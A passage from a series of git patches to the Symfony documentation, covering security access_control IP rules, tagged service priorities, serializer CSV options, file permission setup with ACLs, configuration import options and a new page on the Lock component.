                 https://symfony.com/schema/dic/security/security-1.0.xsd">
 
+            <srv:parameters>
+                <srv:parameter key="env(TRUSTED_IPS)">10.0.0.1, 10.0.0.2</parameter>
+            </srv:parameters>
+
             <config>
                 <!-- ... -->
                 <rule path="^/admin" role="ROLE_USER_IP" ip="127.0.0.1"/>
                 <rule path="^/admin" role="ROLE_USER_PORT" ip="127.0.0.1" port="8080"/>
                 <rule path="^/admin" role="ROLE_USER_HOST" host="symfony\.com$"/>
                 <rule path="^/admin" role="ROLE_USER_METHOD" methods="POST, PUT"/>
+
+                <!-- ips can be comma-separated, which is especially useful when using env variables -->
+                <rule path="^/admin" role="ROLE_USER_IP" ip="%env(TRUSTED_IPS)%"/>
+                <rule path="^/admin" role="ROLE_USER_IP">
+                    <ip>127.0.0.1</ip>
+                    <ip>::1</ip>
+                    <ip>%env(TRUSTED_IPS)%</ip>
+                </rule>
             </config>
         </srv:container>
 
     .. code-block:: php
 
         // config/packages/security.php
+        $container->setParameter('env(TRUSTED_IPS)', '10.0.0.1, 10.0.0.2');
         $container->loadFromExtension('security', [
             // ...
             'access_control' => [
@@ -92,10 +112,30 @@ Take the following ``access_control`` entries as an example:
                     'path' => '^/admin',
                     'roles' => 'ROLE_USER_METHOD',
                     'methods' => 'POST, PUT',
-                ]
+                ],
+
+                // ips can be comma-separated, which is especially useful when using env variables
+                [
+                    'path' => '^/admin',
+                    'roles' => 'ROLE_USER_IP',
+                    'ips' => '%env(TRUSTED_IPS)%',
+                ],
+                [
+                    'path' => '^/admin',
+                    'roles' => 'ROLE_USER_IP',
+                    'ips' => [
+                        '127.0.0.1',
+                        '::1',
+                        '%env(TRUSTED_IPS)%',
+                    ],
+                ],
             ],
         ]);
 
+.. versionadded:: 5.2
+
+    Support for comma-separated IP addresses was introduced in Symfony 5.2.
+
 For each incoming request, Symfony will decide which ``access_control``
 to use based on the URI, the client's IP address, the incoming host name,
 and the request method. Remember, the first rule that matches is used, and
@@ -133,73 +173,6 @@ if ``ip``, ``port``, ``host`` or ``method`` are not specified for an entry, that
     :ref:`Deny access in PHP code <security-securing-controller>` if you want
     to disallow access based on ``$_GET`` parameter values.
 
-.. versionadded:: 5.2
-
-    Environment variables can be used to pass comma separated ip addresses
-    (as a single value or as one of array values):
-
-    .. configuration-block::
-
-        .. code-block:: yaml
-
-            # config/packages/security.yaml
-            parameters:
-                env(TRUSTED_IPS): '10.0.0.1, 10.0.0.2'
-            security:
-                # ...
-                access_control:
-                    - { path: '^/admin', ips: '%env(TRUSTED_IPS)%' }
-                    - { path: '^/admin', ips: [127.0.0.1, ::1, '%env(TRUSTED_IPS)%'] }
-
-        .. code-block:: xml
-
-            <!-- config/packages/security.xml -->
-            <?xml version="1.0" encoding="UTF-8"?>
-            <srv:container xmlns="http://symfony.com/schema/dic/security"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xmlns:srv="http://symfony.com/schema/dic/services"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd
-                    http://symfony.com/schema/dic/security
-                    https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-                <parameters>
-                    <parameter key="env(TRUSTED_IPS)">10.0.0.1, 10.0.0.2</parameter>
-                </parameters>
-
-                <config>
-                    <!-- ... -->
-                    <rule path="^/admin" ip="%env(TRUSTED_IPS)%"/>
-                    <rule path="^/admin">
-                        <ip>127.0.0.1</ip>
-                        <ip>::1</ip>
-                        <ip>%env(TRUSTED_IPS)%</ip>
-                    </rule>
-                </config>
-            </srv:container>
-
-        .. code-block:: php
-
-            // config/packages/security.php
-            $container->setParameter('env(TRUSTED_IPS)', '10.0.0.1, 10.0.0.2');
-            $container->loadFromExtension('security', [
-                // ...
-                'access_control' => [
-                    [
-                        'path' => '^/admin',
-                        'ips' => '%env(TRUSTED_IPS)%',
-                    ],
-                    [
-                        'path' => '^/admin',
-                        'ips' => [
-                            '127.0.0.1',
-                            '::1',
-                            '%env(TRUSTED_IPS)%',
-                        ],
-                    ],
-                ],
-            ]);
-
 .. _security-access-control-enforcement-options:
 
 2. Access Enforcement

From f853c9a5b2a9ac46f890bd5bc00d79a1c1f2ccdf Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 3 Oct 2020 15:58:06 +0200
Subject: [PATCH 1233/7107] [#14286] Added versionadded directive

---
 components/phpunit_bridge.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index dba2d4b9e4e..04d080d974f 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -877,9 +877,14 @@ If you have installed the bridge through Composer, you can run it by calling e.g
     (not defined in a :ref:`dotenv file <config-dot-env>`).
 
     In the same way, ``SYMFONY_MAX_PHPUNIT_VERSION`` will set the maximum version
-    of PHPUnit to be considered. This  is useful when testing a framework that does
+    of PHPUnit to be considered. This is useful when testing a framework that does
     not support the latest version(s) of PHPUnit.
 
+.. versionadded:: 5.2
+
+    The ``SYMFONY_MAX_PHPUNIT_VERSION`` env variable was introduced in
+    Symfony 5.2.
+
 .. tip::
 
     If you still need to use ``prophecy`` (but not ``symfony/yaml``),

From 2b02a0a40e3e88bf4579618cfefb0654322ba64a Mon Sep 17 00:00:00 2001
From: Charly <charly@clic84.fr>
Date: Tue, 29 Sep 2020 18:01:38 +0200
Subject: [PATCH 1234/7107] minor [#14292] UserProvider::supportsClass

https://github.com/symfony/maker-bundle/pull/532
---
 security/user_provider.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/user_provider.rst b/security/user_provider.rst
index 04a587b2529..b84d4395987 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -409,7 +409,7 @@ command will generate a nice skeleton to get you started::
          */
         public function supportsClass($class)
         {
-            return User::class === $class;
+            return User::class === $class || is_subclass_of($class, User::class);
         }
     }
 

From d81344fa0d35c30ec0a53eea8ef9d4f3dd0dea44 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 3 Oct 2020 22:41:03 +0200
Subject: [PATCH 1235/7107] [#12461] Added versionadded directive

---
 components/serializer.rst | 26 +++++++++++++-------------
 1 file changed, 13 insertions(+), 13 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 6c6f000cad3..345642c9770 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -764,7 +764,7 @@ There are several types of normalizers available:
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
     Normalizes errors according to the API Problem spec `RFC 7807`_.
-    
+
 .. _component-serializer-encoders:
 
 Encoders
@@ -1270,35 +1270,35 @@ These are the options available:
 
 ``csv_delimiter``
     Sets the field delimiter separating values (one character only, default: ``,``).
-    
+
 ``csv_enclosure``
     Sets the field enclosure (one character only, default: ``"``).
-    
+
 ``csv_escape_char``
     Sets the escape character (at most one character, default: empty string).
-    
+
 ``csv_key_separator``
     Sets the separator for array's keys during its flattening (default: ``.``).
-    
+
 ``csv_headers``
     Sets the headers for the data (default: ``[]``, inferred from input data's keys).
-    
+
 ``csv_escape_formulas``
     Escapes fields containg formulas by prepending them with a ``\t`` character (default: ``false``).
-    
+
 ``as_collection``
-    Always returns results as a collection, even if only one line is decoded (default: ``false``).
-    
-.. deprecated:: 4.2
+    Always returns results as a collection, even if only one line is decoded.
 
-    Relying on the default value ``false`` is deprecated since Symfony 4.2.
-    
 ``no_headers``
     Disables header in the encoded CSV (default: ``false``).
-    
+
 ``output_utf8_bom``
     Outputs special `UTF-8 BOM`_ along with encoded data (default: ``false``).
 
+.. versionadded:: 4.4
+
+    The ``output_utf8_bom`` option was introduced in Symfony 4.4.
+
 Handling Constructor Arguments
 ------------------------------
 

From 294ac51bf0d6bea5360cb9cec4b98ff21053515a Mon Sep 17 00:00:00 2001
From: Alexandru Nastase <alexandru.nastase@outlook.com>
Date: Tue, 26 Nov 2019 08:23:12 +0100
Subject: [PATCH 1236/7107] [DependencyInjection] Add docs for default priority
 method for tagged services

---
 service_container/tags.rst | 136 ++++++++++++++++++++++++++++---------
 1 file changed, 104 insertions(+), 32 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index ff56d90c73f..524096545c2 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -585,47 +585,119 @@ application handlers::
         }
     }
 
-.. tip::
 
-    The collected services can be prioritized using the ``priority`` attribute:
+Tagged Services with Priority
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    .. configuration-block::
+.. versionadded:: 4.4
 
-        .. code-block:: yaml
+    The ability to prioritize tagged services was introduced in Symfony 4.4.
 
-            # config/services.yaml
-            services:
-                App\Handler\One:
-                    tags:
-                        - { name: 'app.handler', priority: 20 }
+The tagged services can be prioritized using the ``priority`` attribute, thus providing 
+a way to inject a sorted collection.
 
-        .. code-block:: xml
+.. configuration-block::
 
-            <!-- config/services.xml -->
-            <?xml version="1.0" encoding="UTF-8" ?>
-            <container xmlns="http://symfony.com/schema/dic/services"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd">
+    .. code-block:: yaml
 
-                <services>
-                    <service id="App\Handler\One">
-                        <tag name="app.handler" priority="20"/>
-                    </service>
-                </services>
-            </container>
+        # config/services.yaml
+        services:
+            App\Handler\One:
+                tags:
+                    - { name: 'app.handler', priority: 20 }
 
-        .. code-block:: php
+    .. code-block:: xml
 
-            // config/services.php
-            namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
 
-            return function(ContainerConfigurator $configurator) {
-                $services = $configurator->services();
+            <services>
+                <service id="App\Handler\One">
+                    <tag name="app.handler" priority="20"/>
+                </service>
+            </services>
+        </container>
 
-                $services->set(App\Handler\One::class)
-                    ->tag('app.handler', ['priority' => 20])
-                ;
-            };
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return function(ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            $services->set(App\Handler\One::class)
+                ->tag('app.handler', ['priority' => 20])
+            ;
+        };
+
+.. note::
+
+    Note that any other custom attribute will be ignored by this feature.
+
+
+Another option, which is particularly useful when using autoconfiguring tags, is to implement the
+static ``getDefaultPriority`` method on the service itself::
 
-    Note that any other custom attributes will be ignored by this feature.
+    // src/App/Handler/One.php
+    namespace App/Handler;
+
+    class One
+    {
+        public static function getDefaultPriority(): int
+        {
+            return 3;
+        }
+    }
+
+If you want to have another method defining the priority, you can define it in the configuration of the collecting service:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            App\HandlerCollection:
+                # inject all services tagged with app.handler as first argument
+                arguments:
+                    - !tagged_iterator { tag: app.handler, default_priority_method: getPriority }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+            <services>
+                <service id="App\HandlerCollection">
+                    <argument type="tagged" tag="app.handler" default-priority-method="getPriority"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument;
+
+        return function (ContainerConfigurator $configurator) {
+            $services = $configurator->services();
+
+            // ...
+
+            $services->set(App\HandlerCollection::class)
+                ->args([
+                        tagged_iterator('app.handler', null, null, 'getPriority'),
+                    ]
+                )
+                ;
+        };

From 8a7d32e4b681e8c31fc1aa4b34e02cb229e3717d Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 3 Oct 2020 23:19:17 +0200
Subject: [PATCH 1237/7107] [#12697] Some minor tweaks

---
 service_container/tags.rst | 24 +++++++++++-------------
 1 file changed, 11 insertions(+), 13 deletions(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 65c91b4f3fa..8793048211b 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -585,7 +585,6 @@ application handlers::
         }
     }
 
-
 Tagged Services with Priority
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -593,8 +592,8 @@ Tagged Services with Priority
 
     The ability to prioritize tagged services was introduced in Symfony 4.4.
 
-The tagged services can be prioritized using the ``priority`` attribute, thus providing 
-a way to inject a sorted collection.
+The tagged services can be prioritized using the ``priority`` attribute,
+thus providing a way to inject a sorted collection of services:
 
 .. configuration-block::
 
@@ -627,23 +626,21 @@ a way to inject a sorted collection.
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
+        use App\Handler\One;
+
         return function(ContainerConfigurator $configurator) {
             $services = $configurator->services();
 
-            $services->set(App\Handler\One::class)
+            $services->set(One::class)
                 ->tag('app.handler', ['priority' => 20])
             ;
         };
 
-.. note::
-
-    Note that any other custom attribute will be ignored by this feature.
-
-
-Another option, which is particularly useful when using autoconfiguring tags, is to implement the
-static ``getDefaultPriority`` method on the service itself::
+Another option, which is particularly useful when using autoconfiguring
+tags, is to implement the static ``getDefaultPriority()`` method on the
+service itself::
 
-    // src/App/Handler/One.php
+    // src/Handler/One.php
     namespace App/Handler;
 
     class One
@@ -654,7 +651,8 @@ static ``getDefaultPriority`` method on the service itself::
         }
     }
 
-If you want to have another method defining the priority, you can define it in the configuration of the collecting service:
+If you want to have another method defining the priority, you can define it
+in the configuration of the collecting service:
 
 .. configuration-block::
 

From 64886940917ddbf0bc918c16c48cb04137f56afc Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 3 Oct 2020 23:20:52 +0200
Subject: [PATCH 1238/7107] Removed versionadded 4.4 directives

---
 components/serializer.rst  | 4 ----
 service_container/tags.rst | 4 ----
 2 files changed, 8 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index e109b883993..8fa9a5484fd 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1256,10 +1256,6 @@ These are the options available:
 ``output_utf8_bom``
     Outputs special `UTF-8 BOM`_ along with encoded data (default: ``false``).
 
-.. versionadded:: 4.4
-
-    The ``output_utf8_bom`` option was introduced in Symfony 4.4.
-
 Handling Constructor Arguments
 ------------------------------
 
diff --git a/service_container/tags.rst b/service_container/tags.rst
index 8793048211b..9e394fc75d7 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -588,10 +588,6 @@ application handlers::
 Tagged Services with Priority
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 4.4
-
-    The ability to prioritize tagged services was introduced in Symfony 4.4.
-
 The tagged services can be prioritized using the ``priority`` attribute,
 thus providing a way to inject a sorted collection of services:
 

From 0553891707b6617b781377edc9edc9dd306d3389 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 3 Oct 2020 23:38:27 +0200
Subject: [PATCH 1239/7107] Readded ACL file permission docs

---
 setup/file_permissions.rst | 113 +++++++++++++++++++++++++++++++------
 1 file changed, 97 insertions(+), 16 deletions(-)

diff --git a/setup/file_permissions.rst b/setup/file_permissions.rst
index 4c65ac8325e..d5a7bac7e0b 100644
--- a/setup/file_permissions.rst
+++ b/setup/file_permissions.rst
@@ -1,19 +1,100 @@
 Setting up or Fixing File Permissions
 =====================================
 
-In Symfony 3.x, you needed to do some extra work to make sure that your cache directory
-was writable. But that is no longer true! In Symfony 4, everything works automatically:
-
-* In the ``dev`` environment, ``umask()`` is used in ``bin/console`` and ``public/index.php``
-  so that any created files are writable by everyone.
-
-* In the ``prod`` environment (i.e. when ``APP_ENV`` is ``prod`` and ``APP_DEBUG``
-  is ``0``), as long as you run ``php bin/console cache:warmup``, no cache files
-  will need to be written to disk at runtime. The only exception is when using
-  a filesystem-based cache, such as Doctrine's query result cache or Symfony's
-  cache with a filesystem provider configured.
-
-* In all environments, the log directory (``var/log/`` by default) must exist
-  and be writable by your web server user and terminal user. One way this can
-  be done is by using ``chmod -R 777 var/log/``. Be aware that your logs are
-  readable by any user on your production system.
+The ``var/`` directory in a Symfony application is used to store generated
+files (cache and logs) and file-based cache files. In the production
+environment, you often need to add explicit permissions to let Symfony
+write files into this directory.
+
+.. tip::
+
+    In dev environments, ``umask()`` is used in ``bin/console`` and
+    ``public/index.php`` to make sure the directory is writable. However,
+    this is not a safe method and should not be used in production.
+
+Setting up File Permissions in Production
+-----------------------------------------
+
+This section describes the required permissions. See
+:ref:`the next section <setup-file-permissions>` on how to add the
+permissions.
+
+* The ``var/log/`` directory must exist and must be writable by both your
+  web server user and the terminal user;
+* The ``var/cache/`` directory must be writable by the terminal user (the
+  user running ``cache:warmup`` or ``cache:clear``). It must also be writable
+  by the web server user if you're using the
+  :doc:`filesystem cache provider </components/cache/adapters/filesystem_adapter>`;
+  or Doctrine query result cache.
+
+.. _setup-file-permissions:
+
+Configuring File Permissions on Linux and macOS System
+------------------------------------------------------
+
+On Linux and macOS systems, if your web server user is different from your
+command line user, you need to configure permissions properly to avoid issues.
+There are several ways to achieve that:
+
+1. Using ACL on a System that Supports ``setfacl`` (Linux/BSD)
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Using Access Control Lists (ACL) permissions is the most safe and
+recommended method to make the ``var/`` directory writable. You may need to
+install ``setfacl`` and `enable ACL support`_ on your disk partition before
+using this method. Then, use the following script to determine your web
+server user and grant the needed permissions:
+
+.. code-block:: terminal
+
+    $ HTTPDUSER=$(ps axo user,comm | grep -E '[a]pache|[h]ttpd|[_]www|[w]ww-data|[n]ginx' | grep -v root | head -1 | cut -d\  -f1)
+    # if this doesn't work, try adding `-n` option
+
+    # set permissions for future files and folders
+    $ sudo setfacl -dR -m u:"$HTTPDUSER":rwX -m u:$(whoami):rwX var
+    # set permissions on the existing files and folders
+    $ sudo setfacl -R -m u:"$HTTPDUSER":rwX -m u:$(whoami):rwX var
+
+Both of these commands assign permissions for the system user (the one
+running these commands) and the web server user.
+
+.. note::
+
+    ``setfacl`` isn't available on NFS mount points. However, storing cache and
+    logs over NFS is strongly discouraged for performance reasons.
+
+2. Use the same User for the CLI and the Web Server
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Edit your web server configuration (commonly ``httpd.conf`` or ``apache2.conf``
+for Apache) and set its user to be the same as your CLI user (e.g. for Apache,
+update the ``User`` and ``Group`` directives).
+
+.. caution::
+
+    If this solution is used in a production server, be sure this user only has
+    limited privileges (no access to private data or servers, execution of
+    unsafe binaries, etc.) as a compromised server would give to the hacker
+    those privileges.
+
+3. Without Using ACL
+~~~~~~~~~~~~~~~~~~~~
+
+If none of the previous methods work for you, change the ``umask`` so that the
+cache and log directories are group-writable or world-writable (depending
+if the web server user and the command line user are in the same group or not).
+To achieve this, put the following line at the beginning of the ``bin/console``,
+``web/app.php`` and ``web/app_dev.php`` files::
+
+    umask(0002); // This will let the permissions be 0775
+
+    // or
+
+    umask(0000); // This will let the permissions be 0777
+
+.. caution::
+
+    Changing the ``umask`` is not thread-safe, so the ACL methods are recommended
+    when they are available.
+
+.. _`enable ACL support`: https://help.ubuntu.com/community/FilePermissionsACLs

From 0a6873d124e426e0a874444836c48fbe3e47a35a Mon Sep 17 00:00:00 2001
From: Andrej Hudec <pulzarraider2@gmail.com>
Date: Fri, 8 Nov 2019 08:35:49 +0100
Subject: [PATCH 1240/7107] [Configuration] Add documentation about
 `ignore_errors: not_found` option.

---
 configuration.rst | 28 ++++++++++++++++++++++------
 1 file changed, 22 insertions(+), 6 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 46a9506c058..8ab1d99dceb 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -88,11 +88,15 @@ configuration files, even if they use a different format:
         # config/services.yaml
         imports:
             - { resource: 'legacy_config.php' }
-            # ignore_errors silently discards errors if the loaded file doesn't exist
-            - { resource: 'my_config_file.xml', ignore_errors: true }
+
             # glob expressions are also supported to load multiple files
             - { resource: '/etc/myapp/*.yaml' }
 
+            # ignore_errors: not_found silently discards errors if the loaded file doesn't exist
+            - { resource: 'my_config_file.xml', ignore_errors: not_found }
+            # ignore_errors: true silently discards all errors (including invalid code and not found)
+            - { resource: 'my_other_config_file.xml', ignore_errors: true }
+
         # ...
 
     .. code-block:: xml
@@ -108,10 +112,13 @@ configuration files, even if they use a different format:
 
             <imports>
                 <import resource="legacy_config.php"/>
-                <!-- ignore_errors silently discards errors if the loaded file doesn't exist -->
-                <import resource="my_config_file.yaml" ignore-errors="true"/>
                 <!-- glob expressions are also supported to load multiple files -->
                 <import resource="/etc/myapp/*.yaml"/>
+
+                <!-- ignore-errors="not_found" silently discards errors if the loaded file doesn't exist -->
+                <import resource="my_config_file.yaml" ignore-errors="not_found"/>
+                <!-- ignore-errors="true" silently discards all errors (including invalid code and not found) -->
+                <import resource="my_other_config_file.yaml" ignore-errors="true"/>
             </imports>
 
             <!-- ... -->
@@ -124,14 +131,23 @@ configuration files, even if they use a different format:
 
         return static function (ContainerConfigurator $container) {
             $container->import('legacy_config.php');
-            // ignore_errors (3rd parameter) silently discards errors if the loaded file doesn't exist
-            $container->import('my_config_file.xml', null, true);
+
             // glob expressions are also supported to load multiple files
             $container->import('/etc/myapp/*.yaml');
+
+            // the third optional argument of import() is 'ignore_errors'
+            // 'ignore_errors' set to 'not_found' silently discards errors if the loaded file doesn't exist
+            $container->import('my_config_file.yaml', null, 'not_found');
+            // 'ignore_errors' set to true silently discards all errors (including invalid code and not found)
+            $container->import('my_config_file.yaml', null, true);
         };
 
         // ...
 
+.. versionadded:: 4.4
+
+    The ``not_found`` option value for ``ignore_errors`` was introduced in Symfony 4.4.
+
 .. _config-parameter-intro:
 .. _config-parameters-yml:
 .. _configuration-parameters:

From 8bf4f85422fecf30c1c92f4ec95c0b7a5d2ab8cc Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?J=C3=A9r=C3=A9my=20Deruss=C3=A9?= <jeremy@derusse.com>
Date: Mon, 21 Oct 2019 14:51:50 +0200
Subject: [PATCH 1241/7107] Add a documentation page for lock in FW

---
 components/lock.rst                   |   3 +
 index.rst                             |   1 +
 lock.rst                              | 292 ++++++++++++++++++++++++++
 reference/configuration/framework.rst |  65 +-----
 4 files changed, 303 insertions(+), 58 deletions(-)
 create mode 100644 lock.rst

diff --git a/components/lock.rst b/components/lock.rst
index 6a1fd3cca62..45237fed221 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -8,6 +8,9 @@ The Lock Component
     The Lock Component creates and manages `locks`_, a mechanism to provide
     exclusive access to a shared resource.
 
+If you're using the Symfony Framework, read the
+:doc:`Symfony Framework Lock documentation </lock>`.
+
 Installation
 ------------
 
diff --git a/index.rst b/index.rst
index 07bc1a5ee6e..a1cd8e9f3c6 100644
--- a/index.rst
+++ b/index.rst
@@ -43,6 +43,7 @@ Topics
     frontend
     http_cache
     http_client
+    lock
     logging
     mailer
     mercure
diff --git a/lock.rst b/lock.rst
new file mode 100644
index 00000000000..aed72c9edf3
--- /dev/null
+++ b/lock.rst
@@ -0,0 +1,292 @@
+.. index::
+    single: Lock
+
+Dealing with Concurrency with Locks
+===================================
+
+When a program runs concurrently, some part of code which modify shared
+resources should not be accessed by multiple processes at the same time.
+Symfony's :doc:`Lock component </components/lock>` provides a locking mechanism to ensure
+that only one process is running the critical section of code at any point of
+time to prevent race condition from happening.
+
+The following example shows a typical usage of the lock::
+
+    $lock = $lockFactory->createLock('pdf-invoice-generation');
+    if (!$lock->acquire()) {
+        return;
+    }
+
+    // critical section of code
+    $service->method();
+
+    $lock->release();
+
+Installation
+------------
+
+In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to
+install the Lock component:
+
+.. code-block:: terminal
+
+    $ composer require symfony/lock
+
+Configuring Lock with FrameworkBundle
+-------------------------------------
+
+By default, Symfony provides a :ref:`Semaphore <lock-store-semaphore>`
+when available, or a :ref:`Flock <lock-store-flock>` otherwise. You can configure
+this behavior by using the ``lock`` key like:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/lock.yaml
+        framework:
+            lock: ~
+            lock: 'flock'
+            lock: 'flock:///path/to/file'
+            lock: 'semaphore'
+            lock: 'memcached://m1.docker'
+            lock: ['memcached://m1.docker', 'memcached://m2.docker']
+            lock: 'redis://r1.docker'
+            lock: ['redis://r1.docker', 'redis://r2.docker']
+            lock: 'zookeeper://z1.docker'
+            lock: 'zookeeper://z1.docker,z2.docker'
+            lock: 'sqlite:///%kernel.project_dir%/var/lock.db'
+            lock: 'mysql:host=127.0.0.1;dbname=lock'
+            lock: 'pgsql:host=127.0.0.1;dbname=lock'
+            lock: 'sqlsrv:server=localhost;Database=test'
+            lock: 'oci:host=localhost;dbname=test'
+            lock: '%env(LOCK_DSN)%'
+
+            # named locks
+            lock:
+                invoice: ['semaphore', 'redis://r2.docker']
+                report: 'semaphore'
+
+    .. code-block:: xml
+
+        <!-- config/packages/lock.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:lock>
+                    <framework:resource>flock</framework:resource>
+
+                    <framework:resource>flock:///path/to/file</framework:resource>
+
+                    <framework:resource>semaphore</framework:resource>
+
+                    <framework:resource>memcached://m1.docker</framework:resource>
+
+                    <framework:resource>memcached://m1.docker</framework:resource>
+                    <framework:resource>memcached://m2.docker</framework:resource>
+
+                    <framework:resource>redis://r1.docker</framework:resource>
+
+                    <framework:resource>redis://r1.docker</framework:resource>
+                    <framework:resource>redis://r2.docker</framework:resource>
+
+                    <framework:resource>zookeeper://z1.docker</framework:resource>
+
+                    <framework:resource>zookeeper://z1.docker,z2.docker</framework:resource>
+
+                    <framework:resource>sqlite:///%kernel.project_dir%/var/lock.db</framework:resource>
+
+                    <framework:resource>mysql:host=127.0.0.1;dbname=lock</framework:resource>
+
+                    <framework:resource>pgsql:host=127.0.0.1;dbname=lock</framework:resource>
+
+                    <framework:resource>sqlsrv:server=localhost;Database=test</framework:resource>
+
+                    <framework:resource>oci:host=localhost;dbname=test</framework:resource>
+
+                    <framework:resource>%env(LOCK_DSN)%</framework:resource>
+
+                    <!-- named locks -->
+                    <framework:resource name="invoice">semaphore</framework:resource>
+                    <framework:resource name="invoice">redis://r2.docker</framework:resource>
+                    <framework:resource name="report">semaphore</framework:resource>
+                </framework:lock>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/lock.php
+        $container->loadFromExtension('framework', [
+            'lock' => null,
+            'lock' => 'flock',
+            'lock' => 'flock:///path/to/file',
+            'lock' => 'semaphore',
+            'lock' => 'memcached://m1.docker',
+            'lock' => ['memcached://m1.docker', 'memcached://m2.docker'],
+            'lock' => 'redis://r1.docker',
+            'lock' => ['redis://r1.docker', 'redis://r2.docker'],
+            'lock' => 'zookeeper://z1.docker',
+            'lock' => 'zookeeper://z1.docker,z2.docker',
+            'lock' => 'sqlite:///%kernel.project_dir%/var/lock.db',
+            'lock' => 'mysql:host=127.0.0.1;dbname=lock',
+            'lock' => 'pgsql:host=127.0.0.1;dbname=lock',
+            'lock' => 'sqlsrv:server=localhost;Database=test',
+            'lock' => 'oci:host=localhost;dbname=test',
+            'lock' => '%env(LOCK_DSN)%',
+
+            // named locks
+            'lock' => [
+                'invoice' => ['semaphore', 'redis://r2.docker'],
+                'report' => 'semaphore',
+            ],
+        ]);
+
+Locking a Resource
+------------------
+
+To lock the default resource, autowire the lock using
+:class:`Symfony\\Component\\Lock\\LockInterface` (service id ``lock``)::
+
+    // src/Controller/PdfController.php
+    namespace App\Controller;
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\Lock\LockInterface;
+
+    class PdfController extends AbstractController
+    {
+        /**
+         * @Route("/download/terms-of-use.pdf")
+         */
+        public function downloadPdf(LockInterface $lock, MyPdfGeneratorService $pdf)
+        {
+            $lock->acquire(true);
+
+            // heavy computation
+            $myPdf = $pdf->getOrCreatePdf();
+
+            $lock->release();
+
+            // ...
+        }
+    }
+
+.. caution::
+
+    The same instance of ``LockInterface`` won't block when calling ``acquire``
+    multiple times. Inside the same process, when several services share the
+    same instance of ``LockInterface``, they won't lock each other. When the
+    same process run concurent tasks, inject the ``LockFactory`` instead.
+
+Locking a Dynamic Resource
+--------------------------
+
+Sometimes the application is able to cut the resource into small pieces in order
+to lock a small subset of process and let other through. In our previous example
+with see how to lock the ``$pdf->getOrCreatePdf('terms-of-use')`` for everybody,
+now let's see how to lock ``$pdf->getOrCreatePdf($version)`` only for
+processes asking for the same ``$version``::
